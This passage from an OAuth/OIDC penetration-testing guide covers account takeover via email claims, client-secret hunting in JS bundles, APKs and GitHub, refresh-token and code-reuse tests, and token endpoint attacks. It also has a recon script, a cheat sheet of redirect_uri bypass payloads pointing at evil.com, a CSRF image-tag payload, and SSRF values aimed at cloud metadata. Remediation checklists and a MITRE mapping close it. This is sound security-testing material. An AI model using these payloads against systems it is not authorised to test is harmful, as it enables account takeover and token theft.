# 3. If App B creates a session → audience validation missing
14.4 Account Takeover via Email Claim
# Some apps link OAuth identity to existing accounts based on email:
# id_token: { "email": "victim@example.com", "sub": "attacker_sub" }
# If attacker can control the email in id_token:
# → Register at a rogue OIDC provider that lets you set arbitrary email
# → Forge id_token if signature check is weak
# → App links to victim's account based on matching email
# Also: "email_verified": false — if not checked, unverified email accepted
# Forge id_token with email_verified omitted or false + victim's email
15. Provider & Client Misconfiguration
15.1 Client Secret in Frontend Code
# Find client_secret in JS bundles, mobile apps, or GitHub:
# JS bundle scraping:
curl -s https://app.com/static/js/main.chunk.js | grep -iE "client_secret|clientSecret"
python3 SecretFinder.py -i https://app.com -o cli -e "\.js$"
# APK decompilation:
apktool d target.apk -o decompiled/
grep -r "client_secret\|CLIENT_SECRET\|oauth_secret" decompiled/
# GitHub search:
# gh secret scan: https://github.com/settings/security-analysis
# GitHub dorks:
# "client_secret" "oauth" "target.com" site:github.com
# filename:.env "CLIENT_SECRET"
# filename:config.js "clientSecret"
# Once found:
# Exchange any intercepted code for tokens directly
# Forge signed requests as the legitimate client
# Access token introspection endpoint with client credentials
15.2 Refresh Token Never Expires
# Test: obtain a refresh token, then:
# 1. Change account password
# 2. Revoke sessions in app settings
# 3. Logout
# 4. Wait (days, weeks)
# After each action, try exchanging refresh token:
curl -X POST https://as.target.com/oauth/token \
-d "grant_type=refresh_token" \
-d "refresh_token=CAPTURED_REFRESH_TOKEN" \
-d "client_id=CLIENT_ID" \
-d "client_secret=SECRET"
# If tokens still returned after logout/password change → persistent access
# High severity: stolen refresh token = permanent account access
15.3 Unenforced redirect_uri on Token Exchange
# Some AS validate redirect_uri in /authorize but NOT in /token exchange
# RFC 6749 §4.1.3 requires redirect_uri in /token to match /authorize
# Test: complete normal /authorize, capture code
# Exchange code with DIFFERENT redirect_uri:
curl -X POST https://as.target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=AUTH_CODE" \
-d "redirect_uri=https://evil.com/callback" ← different from /authorize
-d "client_id=CLIENT_ID" \
-d "client_secret=SECRET"
# If tokens returned → redirect_uri not validated at token exchange
15.4 Authorization Code Reuse
# RFC 6749: authorization codes MUST be single-use
# Double-exchange should invalidate ALL tokens issued from that code
# Test: capture a code, exchange it twice:
# Exchange 1:
curl -X POST https://as.target.com/oauth/token -d "code=AUTH_CODE&..."
# Exchange 2 (same code):
curl -X POST https://as.target.com/oauth/token -d "code=AUTH_CODE&..."
# Expected: second exchange returns error
# Vulnerable: second exchange also returns tokens
# Also vulnerable: second exchange fails BUT doesn't revoke tokens from first exchange
16. Token Endpoint Attacks
16.1 Client Impersonation
# Client authentication at /token endpoint:
# Confidential clients authenticate via:
# → HTTP Basic Auth: Authorization: Basic base64(client_id:client_secret)
# → POST body: client_id + client_secret parameters
# → Private key JWT (RFC 7523)
# → mTLS (RFC 8705)
# Attack: if AS doesn't validate client authentication:
curl -X POST https://as.target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=AUTH_CODE" \
-d "redirect_uri=https://app.com/callback" \
-d "client_id=TARGET_CLIENT_ID" ← legitimate client_id, no secret
# If tokens returned → AS not enforcing client authentication
# Cross-client code theft:
# Code issued to Client A exchanged by Client B
# Some AS don't bind codes to the client that requested them
curl -X POST https://as.target.com/oauth/token \
-d "code=CODE_FOR_CLIENT_A" \
-d "client_id=CLIENT_B" \
-d "client_secret=CLIENT_B_SECRET"
16.2 Token Introspection Abuse
# RFC 7662 — Token Introspection endpoint
# Allows resource servers to validate tokens
# If not properly authenticated:
curl -X POST https://as.target.com/oauth/introspect \
-d "token=TARGET_ACCESS_TOKEN"
# No client authentication → anyone can check token validity and claims
# Information disclosure:
{
"active": true,
"sub": "user_id_12345",
"scope": "openid profile email admin",
"client_id": "CLIENT_ID",
"username": "admin@target.com",
"exp": 1716239022
}
# → Reveals user identity, scopes, and internal user IDs
17. Automation & Tools
17.1 Burp Suite — OAuth Testing
# Essential Burp extensions for OAuth testing:
→ OAuth Scanner (PortSwigger / BApp Store)
→ CSRF Scanner
→ Autorize — test privilege escalation with different tokens
→ JSON Web Tokens (JWT Editor) — for OIDC id_token attacks
# Burp workflow:
1. Proxy → Intercept ON
2. Initiate OAuth flow in browser
3. Capture /authorize request — note all parameters
4. Capture /callback request — note state, code
5. Capture /token exchange — note what's sent / received
6. Modify each parameter in Repeater
7. Burp Collaborator: use for SSRF testing (request_uri, redirect_uri)
17.2 jwt_tool — OIDC / id_token Attacks
# Install:
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r requirements.txt
# Decode and inspect id_token:
python3 jwt_tool.py ID_TOKEN
# Test none algorithm on id_token:
python3 jwt_tool.py ID_TOKEN -X a
# Test RS256 → HS256 key confusion (requires public key):
python3 jwt_tool.py ID_TOKEN -X k -pk public_key.pem
# Tamper claims and resign:
python3 jwt_tool.py ID_TOKEN -T -S hs256 -p "SECRET"
17.3 Manual PKCE Generator
#!/usr/bin/env python3
# Generate valid PKCE code_verifier and code_challenge
import secrets, hashlib, base64
# Generate code_verifier (43-128 URL-safe chars):
code_verifier = secrets.token_urlsafe(64)
# Compute code_challenge (S256 method):
digest = hashlib.sha256(code_verifier.encode()).digest()
code_challenge = base64.urlsafe_b64encode(digest).rstrip(b'=').decode()
print(f"code_verifier: {code_verifier}")
print(f"code_challenge: {code_challenge}")
print(f"code_challenge_method: S256")
17.4 OAuth Recon Script
#!/bin/bash
# Quick OAuth endpoint discovery
TARGET=$1
echo "[*] Fetching OIDC discovery..."
curl -sk "$TARGET/.well-known/openid-configuration" | python3 -m json.tool
echo "[*] Fetching OAuth metadata..."
curl -sk "$TARGET/.well-known/oauth-authorization-server" | python3 -m json.tool
echo "[*] Checking JWKS endpoint..."
curl -sk "$TARGET/.well-known/jwks.json" | python3 -m json.tool
echo "[*] Testing dynamic registration..."
curl -sk -X POST "$TARGET/connect/register" \
-H "Content-Type: application/json" \
-d '{"redirect_uris":["https://evil.com"],"grant_types":["authorization_code"]}'
echo "[*] Testing unauthenticated token introspection..."
curl -sk -X POST "$TARGET/oauth/introspect" -d "token=test123"
echo "[*] Done."
17.5 OAuth Test Checklist (Burp / Manual)
PARAMETER TEST EXPECTED (SECURE)
─────────────────────────────────────────────────────────────────────────────────
redirect_uri Change to evil.com Error / Blocked
redirect_uri Path traversal (/../evil) Error
redirect_uri Different value at /token vs /authorize Error
state Remove or change on callback Error / Rejected
state Use same state in two flows Second should fail
code Exchange twice Second fails + revoke
code Exchange with wrong redirect_uri Error
code Exchange without client_secret (conf. client) Error
code_challenge Remove entirely from /authorize Error (if PKCE enforced)
code_verifier Wrong value at /token Error
code_verifier Remove entirely from /token Error
scope Add admin/write scopes Rejected or not granted
response_type Change to token (implicit) Rejected (if disabled)
nonce Remove from /authorize → replay id_token Error
request_uri Point to Burp Collaborator No outbound request
18. Remediation
18.1 For Authorization Servers
REDIRECT_URI:
├── Exact string match only — no wildcard, no prefix, no regex
├── Validate redirect_uri at BOTH /authorize AND /token endpoints
├── Reject URI schemes other than https:// (no http://, custom schemes for web)
├── Reject open redirect patterns in registered redirect_uris during registration
└── Reject dynamic client registration without authentication / admin approval
STATE:
├── Require state parameter for all authorization code flows
├── Validate state on callback — reject if missing or mismatch
└── State must be tied to session, high-entropy, single-use
PKCE:
├── Require PKCE for ALL public clients (SPAs, mobile apps)
├── Validate code_verifier against code_challenge on EVERY token exchange
├── Reject code_challenge_method=plain in production
└── Consider requiring PKCE for confidential clients too (RFC 9700 recommends it)
CODES & TOKENS:
├── Authorization codes: single-use, short-lived (max 60 seconds — RFC recommends ≤10 min)
├── Double exchange of code: immediately revoke ALL tokens from that code + alert
├── Bind authorization code to: client_id, redirect_uri, code_challenge
├── Refresh tokens: rotate on each use (refresh token rotation — RFC 6749 §10.4)
├── Revoke refresh tokens on: password change, logout, suspicious activity
└── Implement refresh token absolute expiry (even if not used)
SCOPES:
├── Never grant more scopes than the client registered for
├── Never grant more scopes than the user consented to
├── Validate scope at resource server, not just at authorization time
└── Separate admin/sensitive scopes with extra consent prompt
18.2 For Client Applications
REDIRECT URI:
├── Register exact redirect_uri with no path flexibility
├── Use HTTPS only for redirect_uri
└── Ensure redirect_uri page has no open redirects, XSS, or third-party resources
that receive the Referer header before the code is consumed
STATE:
├── Always generate and validate state
├── Use high-entropy random state (≥32 bytes from CSPRNG)
├── Tie state to user session or device fingerprint
└── State is single-use — invalidate after validating on callback
PKCE:
├── Always use PKCE for public clients
├── code_verifier: 43-128 chars, from CSPRNG (secrets.token_urlsafe in Python)
├── Use S256 method — never plain
└── Never log or expose code_verifier
TOKEN HANDLING:
├── Store tokens in memory or httpOnly Secure cookies — never localStorage for sensitive tokens
├── Implement token refresh before expiry — don't expose expired token errors to users
├── On logout: revoke access token AND refresh token at AS (call /revoke endpoint)
└── Validate id_token: issuer, audience, expiry, nonce, signature
SECRETS:
├── Never embed client_secret in frontend JS, mobile app, or version control
├── Use environment variables / secret managers (Vault, AWS Secrets Manager)
├── Rotate client_secret if ever exposed
└── Public clients have no client_secret — use PKCE instead
18.3 OIDC-Specific
id_token VALIDATION (required by OIDC spec):
├── Verify signature using JWKS from issuer's discovery document
├── Check "iss" matches expected issuer
├── Check "aud" includes your client_id
├── Check "exp" has not passed
├── Check "iat" is recent (prevent old token reuse)
├── Verify "nonce" matches the value sent in /authorize (prevents replay)
└── Never accept id_token with alg=none
ACCOUNT LINKING:
├── Never link accounts based on email alone — use "sub" claim + "iss" pair
├── "email_verified": false → do not trust email for linking
└── For existing account linking: require authenticated session + user confirmation
19. Master Cheat Sheet
Quick Attack Reference
# ── TEST STATE PARAMETER ──
# Remove state: /callback?code=CODE (no state)
# Wrong state: /callback?code=CODE&state=AAAAAAA
# ── FORCE CSRF LINK (no state / unvalidated state) ──
# 1. Initiate auth as attacker, capture callback URL before it loads
# 2. Deliver to victim: <img src="https://app.com/callback?code=ATTACKER_CODE">
# ── REDIRECT_URI BYPASS ATTEMPTS ──
redirect_uri=https://evil.com
redirect_uri=https://app.com.evil.com/callback
redirect_uri=https://app.com/callback/../evil
redirect_uri=https://app.com@evil.com/callback
redirect_uri=https://app.com/logout?next=https://evil.com # open redirect chain
# ── SCOPE ESCALATION ──
scope=openid+profile+email+admin
scope=openid+profile+email+offline_access
scope=openid+profile+email+write:admin
# ── PKCE TESTS ──
# Remove code_challenge from /authorize
# Remove code_verifier from /token exchange
# Send wrong code_verifier at /token
# ── IMPLICIT FLOW FORCE ──
response_type=token
response_type=code+token # hybrid — get both
# ── SSRF VIA request_uri ──
request_uri=http://BURP_COLLABORATOR/
request_uri=http://169.254.169.254/latest/meta-data/
request_uri=http://internal-api.corp/admin
# ── EXCHANGE CODE TWICE (code reuse test) ──
curl -X POST /token -d "code=AUTH_CODE&..." # first exchange
curl -X POST /token -d "code=AUTH_CODE&..." # second — should fail
# ── CODE EXCHANGE WITHOUT SECRET (public client test) ──
curl -X POST /token -d "grant_type=authorization_code&code=CODE&client_id=CLIENT_ID&redirect_uri=..."
# ── REFRESH TOKEN PERSISTENCE ──
curl -X POST /token -d "grant_type=refresh_token&refresh_token=RT&client_id=..."
# Try after: logout / password change / session revoke
# ── DYNAMIC CLIENT REGISTRATION ──
curl -X POST https://as.target.com/connect/register \
-H "Content-Type: application/json" \
-d '{"redirect_uris":["https://evil.com"],"grant_types":["authorization_code"]}'
# ── UNAUTHENTICATED INTROSPECTION ──
curl -X POST https://as.target.com/oauth/introspect -d "token=ACCESS_TOKEN"
Attack Decision Summary
VULNERABILITY IMPACT SECTION
──────────────────────────────────────────────────────────────────────────
Missing / weak state Account takeover via CSRF §5
redirect_uri wildcard Steal auth code / token §4
Open redirect chain Bypass redirect_uri whitelist §8
PKCE not enforced Code interception §10
Code reuse allowed Token theft §6.3
Implicit flow in use Token in URL → theft §13
Token in Referer Code/token stolen by 3rd party §7.1
Scope not validated Privilege escalation §9
Refresh token never expires Persistent access §15.2
Client secret in frontend Full client impersonation §15.1
request_uri SSRF Internal network access §12
id_token aud not checked Cross-client account access §14.2
nonce not validated id_token replay attack §14.1
Dynamic registration open Register attacker client §4.5
MITRE ATT&CK Mapping
T1550.001 Use Alternate Authentication Material: Application Access Token
T1528 Steal Application Access Token
T1190 Exploit Public-Facing Application
T1212 Exploitation for Credential Access
T1539 Steal Web Session Cookie (refresh token theft)
T1110.003 Password Spraying (client credential brute force)
T1566 Phishing (delivering CSRF / state bypass links)